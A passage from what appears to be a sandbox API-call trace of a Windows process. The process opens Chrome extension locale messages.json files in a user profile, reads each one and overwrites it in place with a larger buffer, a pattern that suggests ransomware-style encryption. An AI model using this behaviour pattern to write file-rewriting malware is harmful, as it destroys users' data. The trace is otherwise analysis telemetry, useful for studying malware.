HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.460] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.460] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe5 [0048.460] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.460] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.460] ReleaseMutex (hMutex=0x128) returned 1 [0048.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.460] ReadFile (in: hFile=0x170, lpBuffer=0x2737158, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737158*, lpNumberOfBytesRead=0x2f4f2bc*=0xe5, lpOverlapped=0x0) returned 1 [0048.461] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.461] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x66d, lpOverlapped=0x0) returned 1 [0048.461] CloseHandle (hObject=0x170) returned 1 [0048.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.462] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.462] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf5 [0048.462] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.462] ReleaseMutex (hMutex=0x128) returned 1 [0048.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.462] ReadFile (in: hFile=0x170, lpBuffer=0x1ddc528, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddc528*, lpNumberOfBytesRead=0x2f4f2bc*=0xf5, lpOverlapped=0x0) returned 1 [0048.463] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.463] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x67d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x67d, lpOverlapped=0x0) returned 1 [0048.463] CloseHandle (hObject=0x170) returned 1 [0048.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.464] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.464] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe2 [0048.464] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.464] ReleaseMutex (hMutex=0x128) returned 1 [0048.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.464] ReadFile (in: hFile=0x170, lpBuffer=0x2591088, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2591088*, lpNumberOfBytesRead=0x2f4f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0048.465] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.465] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0048.465] CloseHandle (hObject=0x170) returned 1 [0048.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.466] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.466] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd4 [0048.466] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.466] ReleaseMutex (hMutex=0x128) returned 1 [0048.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.466] ReadFile (in: hFile=0x170, lpBuffer=0x1daeb28, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daeb28*, lpNumberOfBytesRead=0x2f4f2bc*=0xd4, lpOverlapped=0x0) returned 1 [0048.467] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.467] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x65c, lpOverlapped=0x0) returned 1 [0048.467] CloseHandle (hObject=0x170) returned 1 [0048.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.468] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.468] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x84 [0048.468] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.468] ReleaseMutex (hMutex=0x128) returned 1 [0048.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.468] ReadFile (in: hFile=0x170, lpBuffer=0x1e28108, nNumberOfBytesToRead=0x84, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e28108*, lpNumberOfBytesRead=0x2f4f2bc*=0x84, lpOverlapped=0x0) returned 1 [0048.469] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.469] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x60c, lpOverlapped=0x0) returned 1 [0048.470] CloseHandle (hObject=0x170) returned 1 [0048.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.470] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.470] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x12a [0048.470] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.470] ReleaseMutex (hMutex=0x128) returned 1 [0048.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.470] ReadFile (in: hFile=0x170, lpBuffer=0x262e838, nNumberOfBytesToRead=0x12a, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e838*, lpNumberOfBytesRead=0x2f4f2bc*=0x12a, lpOverlapped=0x0) returned 1 [0048.472] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.472] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6b2, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6b2, lpOverlapped=0x0) returned 1 [0048.472] CloseHandle (hObject=0x170) returned 1 [0048.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.473] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.473] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xbb [0048.473] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.473] ReleaseMutex (hMutex=0x128) returned 1 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.473] ReadFile (in: hFile=0x170, lpBuffer=0x2601f98, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2601f98*, lpNumberOfBytesRead=0x2f4f2bc*=0xbb, lpOverlapped=0x0) returned 1 [0048.474] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.474] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x643, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x643, lpOverlapped=0x0) returned 1 [0048.474] CloseHandle (hObject=0x170) returned 1 [0048.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb6 [0048.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.475] ReleaseMutex (hMutex=0x128) returned 1 [0048.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.475] ReadFile (in: hFile=0x170, lpBuffer=0x2601f98, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2601f98*, lpNumberOfBytesRead=0x2f4f2bc*=0xb6, lpOverlapped=0x0) returned 1 [0048.476] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.476] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x63e, lpOverlapped=0x0) returned 1 [0048.476] CloseHandle (hObject=0x170) returned 1 [0048.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.477] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.477] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x183 [0048.477] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.477] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.477] ReleaseMutex (hMutex=0x128) returned 1 [0048.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.477] ReadFile (in: hFile=0x170, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x183, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x183, lpOverlapped=0x0) returned 1 [0048.478] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.478] WriteFile (in: hFile=0x170, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x70b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x70b, lpOverlapped=0x0) returned 1 [0048.479] CloseHandle (hObject=0x170) returned 1 [0048.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.479] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.479] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xaf [0048.479] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.479] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.479] ReleaseMutex (hMutex=0x128) returned 1 [0048.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.479] ReadFile (in: hFile=0x170, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2f4f2bc*=0xaf, lpOverlapped=0x0) returned 1 [0048.480] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.480] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x637, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x637, lpOverlapped=0x0) returned 1 [0048.480] CloseHandle (hObject=0x170) returned 1 [0048.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 